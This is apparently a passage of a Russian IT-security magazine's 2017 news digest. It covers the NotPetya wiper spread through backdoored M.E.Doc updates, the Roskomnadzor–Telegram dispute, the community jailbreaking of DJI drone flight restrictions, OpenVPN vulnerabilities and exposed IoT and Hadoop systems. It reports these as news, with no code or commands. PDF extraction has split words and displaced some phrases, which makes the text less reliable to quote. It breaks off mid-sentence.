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ЭПИДЕМИЯ
NOTPETYA
27 июня мир стол кнул ся с оче ред ной вымога тель ской эпи деми ей, при чиной
которой  ста ло  появ ление  новой  вер сии  шиф роваль щика  Petya,  извес тно го
спе циалис там еще с 2016 года. Опе рато ры мал вари явно переня ли нес коль‐ 
ко  при емов  у  раз работ чиков  нашумев шего  вымога теля  WannaCry  и  сумели
спро воци ровать в Сети новую вол ну паники.

Шиф роваль щик  Petya    еще  в  мар те  2016  года.  Одна ко
новая  вер сия  силь но  отли чает ся  от  ста рого  «Пети».  Из‐за  этих  отли чий
иссле дова тели прис воили угро зе мно жес тво новых имен, сре ди которых Not‐
Petya,  SortaPetya,  Petna,  Nyetya,  ExPetr.  Мы  оста новим ся  на  наз вании
NotPetya.

был  обна ружен

Petya 2016 года

Спе циалис ты ком паний Payload Security, Avira, Emsisoft, Bitdefender, Symantec
и  мно гие  дру гие  экспер ты  под твер дили,  что  для  рас простра нения  NotPetya
исполь зовались уяз вимос ти про токо ла SMB и экс пло ит, похожий на инс тру‐ 
мент  ETERNALBLUE,  который  похити ла  у  АНБ  и 

 хакер ская груп па The Shadow Brokers. Ана лити ки «Лабора тории Кас‐ 
пер ско го» сооб щили, что авто ры вре доно са взя ли на воору жение еще один
инс тру мент, укра ден ный у спец служб, — экс пло ит ETERNALROMANCE.

об народо вала  в  откры том
дос тупе

NotPetya  не  прос то  шиф рует  фай лы  поль зовате ля  —  он  шиф рует  MFT
(Master File Table) раз делов NTFS, переза писы вает MBR (Master Boot Record)
и име ет кас томный заг рузчик, который отоб ража ет вымога тель ское пос лание
вмес то заг рузки опе раци онной сис темы.

Спус тя  нес коль ко  дней  пос ле  начала  эпи демии  спе циалис ты  «Лабора‐ 
тории  Кас пер ско го»  и  иссле дова тель  Comae  Technologies  Мэт  Сюиш  (Matt
Suiche)  ,  что NotPetya  вооб ще  некор рек тно  называть шиф‐ 
роваль щиком.  Дело  в  том,  что  вре донос,  по  сути,  соз дан  для  унич тожения
информа ции, — вос ста новить пос тра дав шие дан ные поч ти нере аль но, и это
не  ошиб ка,  а  замысел  авто ров  мал вари.  Поэто му  NotPetya  ско рее  сле дует
называть вай пером.

приш ли  к  выводу

Сто ит  отме тить,  что  с  этой  теорией  сог ласны  не  все.  К  при меру,  иссле‐ 
дова тели  F‐secure  ,  что  NotPetya  мог  быть  имен но
шиф роваль щиком,  прос то  его  соз датели  совер шили  нес коль ко  оши бок
во вре мя раз работ ки.

по‐преж нему  допус кают

Опе рато ры мал вари тре бова ли от сво их жертв выкуп в раз мере 300 дол‐ 
ларов в бит кой нах. Но у жертв NotPetya прак тичес ки нет надеж ды на вос ста‐ 
нов ление пос тра дав шей информа ции. Пла тить выкуп зло умыш ленни кам бес‐ 
полез но.  Даже  если  жер твы  не  верят  выводам  экспер тов,  приз навших  Not‐
Petya  вай пером,  у  них  все рав но нет шан сов. Дело в  том,  что пос ле опла ты
выкупа  сле дует  отпра вить  зло умыш ленни кам  пись мо  на  адрес 

,  что бы  получить  инс трук ции,  как  рас шифро вать  дан ные.
Одна ко уже вечером 27 июня 2017 года этот адрес был заб локиро ван адми‐ 
нис тра цией сер виса Posteo. Писать ока залось поп росту некуда и некому.

wowsmith‐ 
123456@posteo.net

Спус тя пол торы недели пос ле начала атак NotPetya ИБ‐экспер ты замети ли
. Во‐пер вых, средс тва на Bitcoin‐кошель ке мал вари приш‐ 

ли  в  дви жение.  Сна чала  зло умыш ленни ки  переве ли  285  и  300  дол ларов
на  кошель ки  сер висов  Pastebin  и  DeepPaste,  а  часом  поз же  осу щес тви ли
тран закцию,  прив лекшую  все общее  вни мание:  вывели  с  кошель‐ 
ка 3,96298755 бит кой на (поряд ка 10 тысяч дол ларов на тот момент), то есть
весь  свой  сум марный  «зарабо ток».  Во‐вто рых,  одновре мен но  с  этим
на Pastebin и DeepPaste были опуб ликова ны офи циаль ные сооб щения прес‐ 
тупни ков. Оба  пос лания  гла сили:  «Приш лите мне 100 бит кой нов  и  получи те
мой  сек ретный  ключ  для  рас шифров ки  любого  жес тко го  дис ка  (кро ме  заг‐ 
рузоч ных дис ков)». При этом хакеры не соп роводи ли свое сооб щение адре‐ 
сом  кошель ка,  вмес то  это го  для  свя зи  с  ними  пред лага ется  исполь зовать
дар кнет‐сер вис Mattermost — онлай новый чат, похожий на Slack.

сра зу два события

В чате хакеры пояс нили жур налис там изда ний Vice Motherboard и Bleeping
Computer,  что  высокая  сто имость  клю ча  обус ловле на  тем,  что  это  «ключ
для  рас шифров ки  всех  компь юте ров».  То  есть  зло умыш ленни ки  выс тавили
на про дажу сек ретный ключ для user‐mode крип тогра фичес кого модуля. Так‐ 
же они с готов ностью предъ яви ли доказа тель ства сво их слов. Пред ста вите ли
Motherboard, при под дер жке спе циалис тов ком пании ESET, выс лали хакерам
зашиф рован ный  NotPetya  файл,  который  неиз вес тная  груп па  успешно  рас‐ 
шифро вала.

Пос ле  это го  хакеры  замол чали,  сооб щив,  что  теперь  при нима ют  толь ко
«реаль ные  пред ложения».  По  их  сло вам,  покуп кой  клю ча  за  чет верть  мил‐ 
лиона  дол ларов  уже  заин тересо вались  нес коль ко  человек. Дело  в  том,  что,
хотя во вре мя шиф рования MFT мал варь и пов режда ет диск прак тичес ки без‐ 
воз врат но, некото рым пос тра дав шим может каким‐то чудом удать ся вос ста‐ 
новить MFT  и MBR,  но фай лы  на  дис ке  все  рав но  оста нут ся  зашиф рованы.
Здесь и может понадо бить ся ключ.

До сих пор неяс но, кто сто ял за раз работ кой NotPetya и зачем пов режда‐ 
ющую дан ные мал варь отпра вили «в боль шое пла вание», но 

, как имен но рас простра нял ся вре донос и почему от NotPetya
пос тра дали в основном ком пании и орга низа ции, но не час тные лица.

эк спер там уда‐ 
лось уста новить

Прак тичес ки  сра зу  пос ле  начала  эпи демии мно гие  спе циалис ты  свя зали
рас простра нение  NotPetya  с  бух галтер ским  прог рам мным  обес печени ем
M.E.Doc. К при меру, такие пред положе ния выс казали сот рудни ки укра инской
кибер полиции, а так же ана лити ки Cisco Talos, Microsoft и «Лабора тории Кас‐ 
пер ско го».

Боль ше  недели офи циаль ная  стра ница M.E.Doc  в  Facebook  попол нялась
раз личны ми опро вер жени ями. Раз работ чики до пос ледне го утвер жда ли, что
M.E.Doc не име ет никако го отно шения к рас простра нению мал вари, и сооб‐ 
щали,  что  к  рас сле дова нию  слу чив шегося  были  прив лечены  пра воох‐ 
ранитель ные орга ны и спе циалис ты Cisco.

Но потом экспер ты ком пании ESET пред ста вили собс твен ный ана лити чес‐ 
кий  отчет,  в  котором  сог ласились  с  вывода ми  кол лег  и  рас ска зали,  что  им
уда лось  обна ружить  бэк дор,  исполь зовав ший ся  для  рас простра нения  Not‐
Petya и шиф роваль щика XData.

Бэк дор был най ден в одном из легитим ных модулей M.E.Doc, и «малове‐ 
роят но,  что  ата кующие  выпол нили  эту  опе рацию  без  дос тупа  к  исходно му
коду прог раммы». Более того, изу чив все обновле ния M.E.Doc, выпущен ные
в  текущем  году,  спе циалис ты  выяс нили,  что  модуль  бэк дора  содер жали
как минимум три апдей та — за апрель, май и июнь 2017 года.

«„Нулевым паци ентом“  ста ли  укра инские поль зовате ли M.E.Doc,  кор- 
поратив ного  прог рам мно го  обес печения  для  отчетнос ти  и  докумен- 
тообо рота. Ата кующие получи ли дос туп к сер веру обновле ний M.E.Doc
и  с  его  помощью  нап равля ли  тро яни зиро ван ные  обновле ния  с  авто- 
мати чес кой уста нов кой», — рас ска зали спе циалис ты ESET.

Об наружен ный  бэк дор  поз волял  опе рато рам  заг ружать  и  выпол нять
в заражен ной сис теме дру гое вре донос ное ПО, как это про изош ло с NotPetya
и XData. Кро ме того, мал варь собира ла нас трой ки прок си‐сер веров и email,
вклю чая  логины  и  пароли  из  при ложе ния  M.E.Doc,  а  так же  коды  ком паний
по ЕДРПОУ (Еди ному государс твен ному реес тру пред при ятий и орга низа ций
Укра ины),  что  поз воляло  иден тифици ровать  жертв.  По  совокуп ности  приз‐ 
наков, вклю чающих инфраструк туру, вре донос ные инс тру мен ты, схе мы и цели
атак, иссле дова тели ESET пред положи ли, что за эпи деми ей NotPetya сто яла
хакер ская груп па, извес тная под наз вани ем Telebots.

В  ито ге  приз нать ся  в  том,  что  обновле ния  M.E.Doc  дей стви тель но  рас‐ 
простра няли мал варь, раз работ чиков вынуди ло лишь изъ ятие сер веров ком‐ 
пании  и  заяв ление  гла вы  укра инской  кибер полиции  Сер гея  Демидю ка,
который  сооб щил,  что  из‐за  про явленной  халат ности  раз работ чикам может
гро зить уго лов ная ответс твен ность.

Спе циалис ты ком пании Cisco, на мес те изу чав шие арес тован ные сер веры
M.E.Doc,  ,  сог ласно  которо му  раз работ чики
новой  вер сии  Petya  про ник ли  в  сеть  «Интеллект‐Сер вис»  еще  вес‐ 
ной 2017  года,  исполь зуя  для  это го  учет ные дан ные одно го  из  сот рудни ков
ком пании. Имен но так, по мне нию спе циалис тов, в обновле ния M.E.Doc был
внед рен бэк дор, а на веб‐сер вере ком пании появил ся PHP webshell.

пред ста вили  собс твен ный  отчет

ОПУБ ЛИКОВАН СПИ СОК САМЫХ ОБНОВЛЯ ЕМЫХ AN‐
DROID‐УСТРОЙ СТВ
Раз работ чики  ком пании  Google  рас ска зали,  какие  про изво дите ли  под держи вают  свои  смар‐ 
тфо ны  в  наибо лее  акту аль ном  сос тоянии.  В  спи сок,  сос тавлен ный  ком пани ей,  вош‐ 
ли 42 устрой ства 12 про изво дите лей, работа ющие под управле нием пос ледней вер сии Android
со  все ми  обновле ниями  безопас ности.   Ком пания  сооб щает,  что,  помимо  устрой ств  из  при‐ 
веден ного  ниже  спис ка,  есть  еще  более  100  моделей  смар тфо нов,  которые  работа ют
под  управле нием  Android  и  име ют  все  обновле ния  безопас ности  за  пос ледние  90  дней  (три
месяца).
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C7, Galaxy J7, Galaxy On7 Pro, Galaxy J2, Galaxy A8, Galaxy Tab
S2 9.7

Sharp Android One S1, 507SH

Sony Xperia XA1, Xperia X

Vivo Vivo 1609, Vivo 1601, Vivo Y55

РОСКОМНАДЗОР
ПРОТИВ TELEGRAM
В  июне  2017  года  меж ду  пред ста вите лями  Рос комнад зора  и  Пав лом
Дуровым  завяза лась  инте рес ная  «перепис ка»,  наб людать  за  которой мог ли
все поль зовате ли Сети.

Все началось 23 июня 2017 года, ког да гла ва ведомс тва Алек сандр Жаров
опуб ликовал  на  офи циаль ном  сай те  Рос комнад зора  откры тое  обра щение
к  коман де  Telegram и Пав лу Дурову  лич но,  объ ясняя  это  тем,  что  «все  име‐ 
ющиеся воз можнос ти офи циаль ной ком муника ции с коман дой мес сен дже ра
Telegram исчерпа ны».

В сво ем пос лании Жаров тре бовал от раз работ чиков и Дурова «исполнить
рос сий ское  законо датель ство»,  а  имен но  зарегис три ровать  ком панию,
которой  при над лежит  мес сен джер,  в  реес тре  орга низа торов  рас простра‐ 
нения информа ции.

«В слу чае фак тичес кого отка за от исполне ния обя зан ностей орга низа- 
тора  рас простра нения  информа ции  Telegram  в  Рос сии  дол жен  быть
заб локиро ван. До тех пор, пока мы не получим тре буемые све дения.
Вре мя,  отве ден ное  Рос комнад зору  законом  на  при нятие  решения,
исте кает», — писал Жаров.

Вско ре  Павел  Дуров  отве тил  на  это  откры тое  пись мо  на  сво ей  стра нице
«Вкон такте». Он опуб ликовал  нес коль ко  сооб щений,  в  которых отме тил,  что
почему‐то  на  повес тке  дня  в  Рос сии  нет  бло киров ки  кон тро лиру емых  США
WhatsApp или Facebook Messenger, но активно обсужда ется бло киров ка ней‐ 
траль ного по отно шению к Рос сии мес сен дже ра Telegram.

«Гла ва Рос комнад зора не смог пояс нить, почему про водит кам панию
по  перево ду  дан ных  рос сий ских  граж дан  на  сер вера  аме рикан ских
сер висов.

Вмес то  это го  он  со  стра ниц  Facebook  обви нил  Telegram  в  „ней- 
траль ном отно шении“ к тер рориз му. Эта позиция далека от реаль нос- 
ти:  толь ко с начала это го месяца Telegram заб локиро вал более пяти
тысяч пуб личных каналов и групп, свя зан ных с про паган дой тер рориз- 
ма.  Любой  жела ющий  может  озна комить ся  со  ста тис тикой  ежед- 
невных  бло киро вок  тер рорис тов  в  канале  t.me/isiswatch»,  —  писал
Дуров.

Пос ле это го Дуров и Жаров обме нялись целым рядом сооб щений. Уже пос ле
дан ной «беседы», в ночь с 25 на 26 июня, Павел Дуров опуб ликовал еще одно
пос лание, тоже каса ющееся пре тен зий со сто роны Рос комнад зора.

«Гла ва Рос комнад зора заявил, что Telegram дол жен выдать спец служ- 
бам „клю чи для дешиф рации“, что бы те мог ли читать перепис ку поль- 
зовате лей и ловить тер рорис тов. Это тре бова ние не толь ко про тиво- 
речит 23-й статье Кон сти туции РФ о пра ве на тай ну перепис ки, но и
демонс три рует  нез нание  того,  как  шиф рует ся  ком муника ция
в 2017 году.

В 2017 году обмен сек ретной информа цией пос тро ен на око неч ном
шиф ровании, к которо му у вла дель цев мес сен дже ров нет и не может
быть „клю чей для дешиф рации“. Эти клю чи хра нят ся толь ко на устрой- 
ствах  самих  поль зовате лей.  Хотя  Telegram  был  пионе ром  этой  тех- 
нологии, сегод ня око неч ное шиф рование исполь зуют все популяр ные
мес сен дже ры,  вклю чая  WhatsApp,  Viber,  iMessage  и  даже  Facebook
Messenger.

По тен циаль ная бло киров ка Telegram никак не усложнит задачи тер- 
рорис тов  и  нар кодиле ров  —  в  их  рас поряже нии  оста нут ся  десят ки
дру гих  мес сен дже ров,  пос тро енных  на  око неч ном  шиф ровании  (+
VPN). Ни в одной стра не мира не заб локиро ваны все подоб ные мес- 
сен дже ры  или  все  сер висы  VPN.  Что бы  победить  тер роризм  через
бло киров ки, при дет ся заб локиро вать интернет».

Си туация про дол жила накалять ся,  ког да Федераль ная служ ба безопас ности
обна родо вала  пресс‐релиз,  в  котором  сооб щила  сле дующее:  «В  ходе  опе‐ 
ратив ного соп ровож дения рас сле дова ния терак та 3 апре ля с. г. в мет рополи‐ 
тене  г.  Санкт‐Петер бурга  ФСБ  Рос сии  получе на  дос товер ная  информа ция
об исполь зовании тер рорис том‐смер тни ком, его пособ никами и зарубеж ным
курато ром мес сен дже ра Telegram для сок рытия сво их прес тупных  замыс лов
на всех ста диях орга низа ции и под готов ки тер рорис тичес кого акта».

Офи циаль ное  заяв ление  ФСБ  гла сило,  что  закон спи риро ван ные  ячей ки
меж дународ ных  тер рорис тичес ких  орга низа ций  тоталь но  исполь зуют  мес‐ 
сен дже ры для осу щест вле ния  кон спи ратив ной свя зи меж ду собой и сво ими
курато рами  из‐за  гра ницы.  При  этом  наибо лее  активно  на  тер ритории  РФ
исполь зует ся  имен но  Telegram,  «пре дос тавля ющий  тер рорис там  воз‐ 
можность  соз давать  сек ретные  чаты  с  высоким  уров нем  шиф рования
переда ваемой информа ции».

В  ито ге,  как  ни  стран но,  ситу ацию  уда лось  раз решить  «мир ным  путем».
Кон фликт  был  исчерпан  неделю  спус тя,  ког да  в  новом  откры том  пос лании
к  Рос комнад зору Павел Дуров  заявил,  что  регис тра цион ные  дан ные  о  ком‐ 
пании‐изда теле Telegram — это не сек рет, они дос тупны любому жела юще му
в  откры тых  источни ках  (ссыл ки  при лага лись).  Так же  он  отме тил,  что  ранее
«гла ва  Рос комнад зора  открес тился  от  желания  получить  дос туп  к  лич ной
перепис ке поль зовате лей Telegram» и уточ нил, что все, что нуж но для выпол‐ 
нения закона, — это пре дос тавить информа цию о ком пании Telegram. Дуров
писал, что в таком слу чае у него нет воз ражений про тив исполь зования дан‐ 
ных для регис тра ции Telegram Messenger LLP в реес тре орга низа торов рас‐ 
простра нения информа ции.

Уже нес коль ко часов спус тя Алек сандр Жаров под твер дил, что сло ва Пав‐ 
ла  Дурова  были  услы шаны,  и  сооб щил,  что  «на  дан ном  эта пе  мес сен джер
Telegram  пре дос тавил  все  тре буемые  по  закону  дан ные  для  вне сения
в реестр орга низа торов рас простра нения информа ции. В бли жай шее вре мя
мес сен джер  будет  вклю чен  в  этот  реестр».  Затяги вать  пред ста вите ли  Рос‐ 
комнад зора  не  ста ли:  вско ре  в  реестр  были  вне сены  сер висы  telegram.org,
web.telegram.org и t.me.

→   SIM‐карт  изъ яли  влас ти  Таилан да  в  ходе  лик видации  клик фрод‐фер мы.  Полиция
Таилан да  сооб щила  об  арес те  трех  граж дан  Китая.  Сог ласно  офи циаль ным  дан ным,  они
не  прос то  работа ли  на  тер ритории  стра ны  без  над лежащих  раз решений,  но  незакон но  про‐ 
вози ли  в  Таиланд  SIM‐кар ты  и  занима лись  мас штаб ным  клик фро дом.  В  доме  задер жанных,
рас положен ном  недале ко  от  кам боджий ской  гра ницы,  были  обна руже ны  стой ки  более  чем
с  500  смар тфо нами,  под клю чен ными  к  монито рам,  поч ти  350  000  SIM‐карт,  21  кар дри дер
и  9  компь юте ров.  Сна чала  пра воох ранитель ные  орга ны  пред полага ли,  что  име ют  дело
с мошен ничес ким кол‐цен тром, но вско ре выяс нилось, что трио управля ло сетью sock puppet
акка унтов в WeChat.

350 000
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СВОБОДУ
КВАДРОКОПТЕРАМ!
Ин терес ная  ситу ация  сло жилась  вок руг  китай ской  ком пании  DJI,  одно го
из лидиру ющих про изво дите лей муль тикоп теров для пот ребитель ско го рын‐ 
ка.

Де ло  в  том,  что  про изво дитель  уже  некото рое  вре мя  при меня ет  в  сво их
устрой ствах  геозо ниро вание и огра ниче ние ско рос ти. По сути, в нас тоящее
вре мя  про шив ка  муль тикоп теров  ком пании  име ет  чер ные  GPS‐спис ки,
которые, к при меру, пре пятс тву ют полетам в ради усе 15 миль от Вашин гто на,
вбли зи  аэро пор тов,  тюрем,  воен ных  объ ектов  и  так  далее.  Так же  недав но
пред ста вите ли  ком пании решили,  что будут бороть ся с  тер рориз мом и зап‐ 
рещен ной в Рос сии орга низа цией ИГИЛ, из‐за чего бес полет ной зоной ста ла
поч ти вся тер ритория Ира на и Сирии.

И если в некото рых  зап ретных  зонах все же мож но летать  (поль зователь
лишь уви дит пре дуп режде ние), то дру гие сов сем зак рыты для бес пилот ников
и могут быть «раз бло киро ваны»  толь ко сот рудни ками DJI,  которые рас смат‐ 
рива ют  соот ветс тву ющие  заяв ки,  или  дос тупны  толь ко  поль зовате лям  DJI
с  верифи циро ван ными  акка унта ми. Сто ит  заметить,  что  неред ко  опе рато ры
бес пилот ников жалу ются, буд то огра ниче ния DJI не дают им запус кать БПЛА
даже в тех зонах, где никаких огра ниче ний быть не дол жно.

Зап рещен ные для полетов зоны в США

Та кое положе ние дел дав но не  устра ивает сооб щес тво,  которое при дума ло
уже  немало  спо собов  обой ти  зап реты.  Спо ров  о  при мене нии  геозо ниро‐ 
вания  было  мно го  с  самого  его  появ ления.  Никакие  дру гие  тран спортные
средс тва  и  устрой ства  не  име ют  подоб ных  огра ниче ний.  Нап ример,  купив
авто мобиль, вла делец может поехать на нем куда угод но, в том чис ле за зак‐ 
рытый воен ный объ ект, на взлет ное поле аэрод рома, или про тара нить забор
и въехать на зад ний двор сво его соседа. Хотя во всех перечис ленных слу чаях
автовла дель ца, ско рее все го, арес туют, он может все это сде лать. Ком пания
DJI же реша ет за сво их поль зовате лей, и мно гие полага ют, что это не сов сем
пра виль но.

В  июне  2017  года  на  рынок  выш ла  неболь шая  рос сий ская  ком пания
Coptersafe,  которая  фак тичес ки  пред ложила  поль зовате лям  плат ный  джей‐ 
лбрейк летатель ных аппа ратов при помощи как аппа рат ных, так и соф твер ных
модифи каций.  В  ответ  на  это  офи циаль ные  пред ста вите ли DJI  заяви ли,  что
«DJI  счи тает  край не  нежела тель ными  любые  попыт ки  отклю чения  сис тем
безопас ности»,  так  как  в  теории  это может  спро воци ровать  выход  из  строя
дру гих  сис тем  бес пилот ника,  пос ле  чего  поведе ние  устрой ства  ста нет  неп‐ 
ред ска зуемым.

Мод для Phantom 3

В  ито ге  DIY‐сооб щес тво  вынуди ло  ком панию  DJI  всту пить  в  сво еоб разную
«гон ку воору жений». Так, на YouTube, Facebook, раз личных форумах и каналах
в Slack обра зуют ся груп пы энту зиас тов, которые охот но и сво бод но делят ся
инс трук циями по переп рошив ке муль тикоп теров DJI. Ком пания,  в свою оче‐ 
редь, вынуж дена отве чать на эту активность новыми зап ретами.

К при меру, недав но раз работ чики DJI выпус тили обновле ние ПО, которое
пре пятс тву ет  реали зации  джей лбрей ков  БПЛА,  и  начали  спеш но  уда лять
с  сер веров  ком пании  уяз вимые  перед  взло мом  вер сии  про шивок.  Более
того,  в  ком пании  сооб щили,  что  намере ны  и  даль ше  рас сле довать  слу чаи
«неав торизо ван ных  модифи каций»  устрой ств,  а  обновле ния  ПО,  зак рыва‐ 
ющие раз личные баги и лазей ки, будут  выходить без пред варитель ных пре‐ 
дуп режде ний.

По дан ным жур налис тов Vice Motherboard, поб лагода рить за новый виток
мас совых  переп рошивок  бес пилот ников  и  вол нения  в  ста не  DJI  сто ит  уже
упо мяну тую  ком панию Coptersafe.  Дело  в  том,  что  энту зиас ты  сумели  отре‐ 
вер сить  плат ные  решения  Coptersafe  и  софт  для  джей лбрей ка  дро нов  стал
дос тупен всем жела ющим. Отве том DJI на это и было авто обновле ние, лиша‐ 
ющее вла дель цев муль тикоп теров воз можнос ти обхо да огра ниче ний.

Те перь в пику DJI раз работ чики вык ладыва ют свои экс пло иты для дро нов
в откры тый дос туп. Нап ример, имен но так пос тупил Кевин Финис терре (Kevin
Finisterre),  опуб ликовав ший  свое  решение  для  взло ма  .  Тех ника
иссле дова теля  базиру ется  на  одном  из  пер вых  извес тных  джей лбрей ков
для устрой ств DJI,  который в 2016 году был соз дан энту зиас том, извес тным
под  ником  P0V.  Финес терре  утвер жда ет,  что  его  экс пло ит  может  исполь‐ 
зовать ся про тив все го модель ного ряда DJI.

на  GitHub

«Это  начало  бит вы,  в  ходе  которой  DJI  пыта ется  удер жать  кон троль
над сво ими летатель ными аппа рата ми. Конеч ные поль зовате ли вооду- 
шев лены  как  никог да  и  жела ют  осво бодить  свои  бес пилот ники»,  —
говорит Финис терре.

Не  менее  решитель но  нас тро ен  и  адми нис тра тор  одной  из  зак рытых  групп
в Facebook, скры вающий ся под име нем ThatDumbDronie. Он рас ска зал жур‐ 
налис там,  что  исполь зовал  USB‐сниф фер  для  перех вата  заг рузки  мода
Coptersafe, что бы разоб рать ся с импле мен таци ей инс тру мен та для про шивок
DJI, а пос ле опуб ликовал получен ный резуль тат в откры том дос тупе.

«Наша  груп па  и  наше дви жение  были  соз даны,  что бы  пре подать DJI
урок. Не понимаю, почему они решили, буд то это прос то сой дет им
с рук. Это был лишь воп рос вре мени, ког да вла дель цы [дро нов] нач- 
нут давать им отпор. И в обоз римом будущем мы собира емся и даль- 
ше  сра жать ся  с  DJI  на  этой  циф ровой  вой не»,  —  пишет
ThatDumbDronie.

В  ответ  на  при нуди тель ное  обновле ние  про шивок  и  уда ление  ста рых,  уяз‐ 
вимых вер сий с сер веров DJI поль зовате ли уже начали соз давать собс твен‐ 
ные  архи вы  со  ста рыми  вер сиями  ПО.  Пред ста вите ли  ком пании  Coptersafe
пока  огра ничи лись  тем,  что  разос лали  сво им  кли ентам  сооб щения  с  при‐ 
зывом не обновлять ПО и избе гать новых, «исправ ленных» вер сий про шивок.

ВЛА ДЕЛЬ ЦЫ 15% IOT‐УСТРОЙ СТВ НИКОГ ДА НЕ МЕНЯЛИ
ДЕФОЛ ТНЫЙ ПАРОЛЬ
Спе циалис ты ком паний Positive Technologies и «Лабора тории Кас пер ско го» опуб ликова ли отче‐ 
ты, глав ной темой которых ста ла безопас ность IoT‐устрой ств. Изыс кания обе их ком паний наг‐ 
лядно демонс три руют, что безопас ность «умных» устрой ств пока и не дума ет улуч шать ся. 

Зна ния  пяти  прос тых  паролей  дос таточ но  для  взло ма  10%  всех  дос тупных  в  онлай не
«умных» устрой ств.

Са мые рас простра нен ные дефол тные ком бинации учет ных дан ных

Вла дель цы 15% устрой ств никог да не меняли логин и пароль по умол чанию.

Рост количес тва IoT‐мал вари не собира ется замед лять ся

Про изво дите ли  выпус кают  обновле ния  ПО  для  сво их  устрой ств  со  сред ним  опоз дани ем  3–
4 года.

С помощью Shodan иссле дова тели иден тифици рова ли мил лионы уяз вимых роуте ров
и обна ружи ли мно жес тво откры тых пор тов

Зна читель ная часть «умных» устрой ств «све тит» наружу пор тами Telnet и SSH.

БАГИ В OPENVPN
В мае 2017 года ста ло извес тно о завер шении сра зу двух ауди тов OpenVPN.
Про вер кой безопас ности занимал ся извес тный крип тограф про фес сор уни‐ 
вер ситета  Джон са  Хоп кинса  Мэтью  Грин  (Matthew  Green)  и  его  коман да,
ранее уже делав шая аудит TrueCrypt.

Ко ман да Гри на сос редото чилась на поис ке багов в OpenVPN 2.4, свя зан‐ 
ных с памятью (перепол нение буфера, use‐after‐free и так далее), а так же сла‐ 
бых  мест  в  крип тогра фии.  Пре пари рова нием  кода  OpenVPN  занима лась
и дру гая груп па иссле дова телей — Quarkslab, она изу чала OpenVPN для Win‐
dows и Linux, про веря ла GUI и TAP‐драй вер для Windows.

Тог да иссле дова тели не обна ружи ли в коде OpenVPN прак тичес ки никаких
серь езных проб лем, но спус тя бук валь но пару недель спе циалис ты Sydream
Labs  ,  что  ауди торы  не  замети ли  баг  в  адми нис тра тив ном
интерфей се OpenVPN. Уяз вимость поз воля ет похитить чужую сес сию, а затем
вос поль зовать ся  этим  для  дос тупа  к  OpenVPN‐AS  с  пра вами  жер твы.  Если
пос тра дав ший  имел  при виле гии  адми нис тра тора,  проб лема  ста новит ся
еще серь езнее.

со общи ли

Те перь,  спус тя  еще  месяц,  незави симый  ИБ‐спе циалист  Гви до  Вран кен
(Guido  Vranken)  при менил  к  OpenVPN  фаз зинг  и 
еще  четыре  опас ные  уяз вимос ти,  которые  про пус тили  иссле дова тели
до него. Все най ден ные иссле дова телем баги  уже были  устра нены в Open‐
VPN  2.4.3  и  2.3.17,  поэто му  Вран кен  опуб ликовал  под робную  информа цию
о проб лемах.

су мел  обна ружить

На ибо лее опас ный баг CVE‐2017‐7521 свя зан с исполь зовани ем фун кции
extract_x509_extension(),  отве чающей  за  верифи кацию  SSL.  По  сло вам  спе‐ 
циалис та, рас ширение X509 может быть ата кова но рядом спо собов. Так, ата‐ 
кующий  может  спро воци ровать  отказ  в  работе  сер вера,  выз вать  ошиб ки
осво бож дения памяти, а так же выпол нить на сер вере про изволь ный код.

Проб лема  CVE‐2017‐7520  свя зана  с  тем,  как  OpenVPN  обра баты вает
соеди нения  с  Windows  NTLMv 2.  Баг  может  спро воци ровать  утеч ку  памяти,
в  резуль тате  чего  зло умыш ленник  суме ет  уда лен но  выз вать  отказ  в  работе,
а так же похитить пароль поль зовате ля.

Еще  две  уяз вимос ти  (CVE‐2017‐7508  и  CVE‐2017‐7522)  тоже  поз воля ют
уда лен но спро воци ровать отказ в работе сер вера.

→  дан ных рас кры вают невер но нас тро енные сер веры Hadoop. Джон Мазер ли
(John Matherly), осно ватель поис кового сер виса Shodan, пре дуп редил, что мно жес тво сер веров
HDFS нас тро ены  невер но  и  в  ито ге  ком про мети руют  дан ные. По  дан ным Мазер ли,  без  авто‐ 
риза ции  дос тупны  поч ти  4500  невер но  скон фигури рован ных  сер веров  HDFS,  которые  сум‐ 
марно  рас кры вают  более  5120  Тбайт  дан ных.  Иссле дова тель  пояс няет,  что  обна ружен ные
ранее  47  000  «дырявых»  уста новок MongoDB  ком про мети руют  толь ко  25  Тбайт  информа ции,
так что ситу ация с HDFS зна читель но хуже. Более полови ны небезо пас ных инстан сов находят ся
на тер ритории США (1900) и Китая (1426), за которы ми с боль шим отста вани ем сле дуют Гер‐ 
мания (129) и Южная Корея (115). 

5000  терабайт

GOOGLE СКРОЕТ
РЕКЛАМУ
Ста ло извес тно, что ком пания Google готовит весь ма неожи дан ное нов шес‐ 
тво. В ско ром будущем все вер сии бра узе ра Chrome, начиная с дес ктоп ной,
получат собс твен ный, встро енный бло киров щик рек ламы, который к тому же
будет вклю чен по умол чанию.

Эту информа цию под твер дил стар ший вице‐пре зидент Google по рек ламе
и  ком мерции  Срид хар  Рамас вами  (Sridhar  Ramaswamy),  сооб щивший,  что
релиз Chrome с бло киров щиком рек ламы зап ланиро ван на начало 2018 года.

Google  пла ниру ет  бло киро вать  не  всю  рек ламу  под ряд,  а  лишь  не  соот‐ 
ветс тву ющую  стан дартам,  при нятым  орга низа цией  .
Фак тичес ки  это  озна чает,  что  встро енный  в  Chrome  бло киров щик  будет
бороть ся  лишь  с  наибо лее  агрессив ной  и  навяз чивой  рек ламой,  которая
наруша ет пра вила.

Coalition  for  Better  Ads

К  при меру,  стан дартам  Coalition  for  Better  Ads  не  соот ветс тву ют  сле‐ 
дующие виды рек ламных объ явле ний, при чем эти пра вила акту аль ны как для
дес кто пов, так и для мобиль ных девай сов:

рек лама со зву ком и виде оро лики, которые начина ют про игры вать ся авто‐ 
мати чес ки;

•

всплы вающие сооб щения, зак рыва ющие боль шую часть экра на;•
так  называ емая  prestitial‐рек лама.  Этим  тер мином  обоз нача ют  рек ламу,
которая име ет собс твен ную стра ницу и заг ружа ется перед целевым URL,
а  затем  поль зовате лю  демонс три руют  тай мер,  отсчи тыва ющий  вре мя
до зак рытия навяз чивого объ явле ния;

•

круп ные  бан неры,  «при леп ленные»  поверх  окна  и  занима ющие  до  30%
экра на;

•

так же для мобиль ных вер сий сай тов не поощ ряет ся «мига ющая» рек лама,
цве та или фон которой быс тро и агрессив но меня ются, пыта ясь прив лечь
вни мание и тем самым зат рудняя чте ние.

•

По луча ется,  что  Google  воз ложит  вину  за  рек ламу,  наруша ющую  пра вила,
на вла дель цев сай тов, но не на рек ламные сети. Дело в том, что к перечис‐ 
ленным улов кам чаще все го при бега ют сами вла дель цы сай тов, стре мящи еся
